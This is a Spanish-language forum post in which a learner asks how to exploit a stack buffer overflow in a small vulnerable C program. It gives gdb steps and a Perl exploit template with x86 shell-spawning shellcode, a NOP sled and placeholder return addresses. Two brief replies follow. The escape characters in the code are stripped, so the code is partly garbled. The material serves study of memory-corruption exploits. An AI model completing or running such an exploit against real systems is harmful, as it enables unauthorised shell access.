Hola, estoy muy interesado en aprender sobre desbordamiento del buffer y me gustaría que me echaseis una mano. Tengo muchas dudas básicas.
Este es el código vulnerable.(vuln.c)
Código
1- #include <string.h>
2- #include <stdio.h>
3- #include <stdlib.h>
4-
5- void sayhi(char* name){
6- char name_buffer[100];
7- strcpy(name_buffer,name);
8- printf("Bienvenido al sistema, %sn",name);
9- }
10-
11- int main(int argc, char* argv[]){
12- if (argc > 1)
13- sayhi(argv[1]);
14- else{
15- exit(0);
16- }
17- return 0;
18- }
1/ Lo compilo: gcc --no-stack-protector -g -o vuln vuln.c
2/ Lo lanzo: ./vuln
3/ Lo abro con el debugger: dbg vuln
4/ Luego le meto un breakpoint en la linea 8: break 8
5/ Lo ejecuto: run AABB
6/ Veo los valores de los registros ESP y EBP: info r ESP EBP
7/ Veo los 16 primeros bytes de la pila: x/16wr $sp
8/ Veo que entre ellos se encuentra la dirección en little endian x42424141 debido al AABB.
9/ Calculo el tamaño de la pila: p direccion_esp - direccion_EBP
10/ No sé que me hace falta de todo esto

CODIGO DE EXPLOIT EN PERL QUE ENCONTRÉ POR AHÍ:
Código
#!/usr/bin/perl
#
# Prototipo de Exploit En Perl.
#
my $shellcode="x31xc9x8dx41x17xcdx80x51x68x6ex2fx73".
"x68x68x2fx2fx62x69x8dx41x0bx89xe3xcdx80";
my $nops="x90"x30; # ¿Cuantos NOPs hacen falta y por que?
my $ebp="xFFxFFxFFxFF"; # que direccion se pone aqui y por que?
my $ret="xFFxFFxFFxFF"; # que direccion se pone aqui y por que?
my $exploit=$nops.$shellcode.$ebp.$ret; # Juntamos todo para crear la cadena maliciosa.
print "Enviando exploit....nn";
system("./vuln", $exploit); # Ejecuta el programa vuln con la cadena maliciosa que creamos
print "nExploit enviado!n";
Mis dudas son:
- ¿¿Como se cuantos nops me hacen falta en el exploit??
- ¿¿Con qué se sobreescriben el ebp y el ret??
my $ebp="xFFxFFxFFxFF";
my $ret="xFFxFFxFFxFF";
- ¿¿Como consigo todo lo que necesito para hacer mi exploit debuggeando vuln.c??
Si me podeis echar una mano os lo agradecezco mucho. Gracias!
El ebp no es necesario que se sobrescriba, con algo en especifico, al menos que se trate de un off-by-one.
Necesito videotuto Programar exploit BOF Linux/x86.